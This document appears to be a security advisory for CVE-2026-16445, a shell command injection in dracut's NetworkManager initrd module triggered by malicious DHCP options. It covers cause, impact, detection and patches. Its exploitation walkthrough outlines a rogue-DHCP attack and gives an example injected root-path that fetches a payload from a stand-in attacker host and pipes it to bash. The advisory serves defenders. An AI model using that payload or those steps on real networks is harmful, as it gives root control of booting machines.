CVE-2026-16445: 
Alibaba Cloud Linux (Aliyun Linux) vulnerability analysis and mitigation

CVE-2026-16445 is an OS command injection vulnerability in dracut's NetworkManager-based initrd network module (modules.d/35network-manager/nm-run.sh) that allows an adjacent-network attacker to achieve root code execution within the initramfs during system boot. The flaw was reported on July 21, 2026, and affects dracut as shipped with Red Hat Enterprise Linux 8 (fixed in dracut-049-244.git20260529.el8_10); it is a distinct code path from the related CVE-2026-6893, which affects the legacy DHCP module. It carries a CVSS v3.1 base score of 7.5 (High) (Red Hat CVE, GitHub Advisory).

The root cause (CWE-78: Improper Neutralization of Special Elements used in an OS Command) lies in nm-run.sh, which reads DHCP lease values — specifically root-path, next-server, and dhcp-bootfile — from NetworkManager device state files under /run/NetworkManager/devices/ and writes them verbatim into /tmp/dhclient.<ifname>.dhcpopts without escaping shell metacharacters (Red Hat CVE, Red Hat Bugzilla). This generated file is subsequently sourced as shell code during network-root boot handling (e.g., NFS-root configurations), so any shell metacharacters injected via a malicious DHCP response are executed as root in the initramfs. Exploitation requires the target system to boot with an initramfs built using dracut's network-manager module and configured for a DHCP-derived netroot; the attacker must be positioned on the same L2 network segment to act as or spoof a DHCP server. The upstream fix (commit e509c638e6) changes nm-run.sh to use printf '%q' (bash's shell-safe quoting) when writing DHCP-derived values to the .dhcpopts file (dracut commit).

Successful exploitation grants an unauthenticated attacker root-level code execution within the initramfs environment during system boot, before the main OS is fully loaded. This results in complete compromise of confidentiality, integrity, and availability — an attacker can read or modify any data accessible at boot time, alter the boot process, install persistent backdoors, or prevent the system from booting entirely. Systems configured for network-root boot (e.g., NFS-root or PXE-boot environments) are at highest risk, as these are the configurations that trigger the vulnerable DHCP option processing (Red Hat CVE, Red Hat Bugzilla).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2026-16445 as of the time of disclosure. The NVD SSVC assessment classifies exploitation as "none" and the vulnerability as not automatable, reflecting the requirement for adjacent-network positioning and a specific boot configuration (DHCP-derived netroot) (Red Hat CVE). The EPSS score is approximately 0.99%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. No threat actor attribution has been reported.

1. Reconnaissance: Identify target systems on the same L2 network segment that perform network-root booting (e.g., PXE/NFS-root) using dracut's network-manager initrd module — these are typically diskless workstations, servers, or cloud instances configured with ip=dhcp and a DHCP-derived root-path.
2. Position as DHCP server: Set up a rogue DHCP server (e.g., using dnsmasq or isc-dhcp-server) on the same network segment, or use ARP spoofing/DHCP starvation to intercept DHCP requests from the booting target.
3. Craft malicious DHCP response: Configure the rogue DHCP server to return a root-path, next-server, or dhcp-bootfile option value containing shell metacharacters, for example: root-path = "nfs://server/path; curl http://attacker.com/payload | bash #".
4. Trigger boot: Wait for or cause the target system to reboot and initiate a network boot, causing it to send a DHCP request and receive the malicious response.
5. Achieve root code execution: The nm-run.sh script reads the malicious DHCP value from the NetworkManager state file and writes it unescaped into /tmp/dhclient.<ifname>.dhcpopts; when this file is sourced as shell code during initramfs network-root processing, the injected commands execute as root (Red Hat CVE, dracut commit).

• Network: Unexpected DHCP server responses on the network segment serving PXE/network-boot clients, particularly responses containing unusual characters (semicolons, backticks, dollar signs) in root-path, next-server, or bootfile-name options; rogue DHCP server activity detectable via DHCP snooping logs on managed switches.
• File System (initramfs): Presence of unexpected files or scripts in /tmp/ within the initramfs environment (e.g., files created by injected commands); anomalous content in /tmp/dhclient.<ifname>.dhcpopts containing shell metacharacters rather than plain NFS path strings.
• Logs: System logs showing unexpected network connections or process executions originating during the early boot/initramfs phase; DHCP lease logs on legitimate DHCP servers showing no record of a lease granted to the affected host around the time of the incident (indicating a rogue server responded first).
• Process: Unexpected child processes spawned during the initramfs phase, such as curl, wget, bash, or sh with unusual arguments, visible in early boot logs or kernel ring buffer (dmesg) (Red Hat CVE).

Red Hat has released patched packages for RHEL 8 (dracut-049-244.git20260529.el8_10) via RHSA-2026:26534, for RHEL 9 via RHSA-2026:26533, and for RHEL 10 via RHSA-2026:26532 (Red Hat Errata). Upstream dracut versions 057 and later already include the fix. As a workaround where patching is not immediately possible, Red Hat recommends escaping DHCP-derived values (root-path, next-server, dhcp-bootfile) with shell-safe quoting (e.g., printf '%q') before writing them to the generated dhcpopts file in modules.d/35network-manager/nm-run.sh (Red Hat CVE). Organizations should also consider restricting network-root boot configurations to trusted, isolated network segments and enabling DHCP snooping on switches to prevent rogue DHCP server attacks.

The vulnerability was discovered internally by Pavel Valena of Red Hat, and Red Hat Product Security rated it as Important (Red Hat CVE). No significant public researcher commentary, social media discussion, or broader media coverage has been identified beyond the standard vulnerability database entries and Red Hat's own advisory.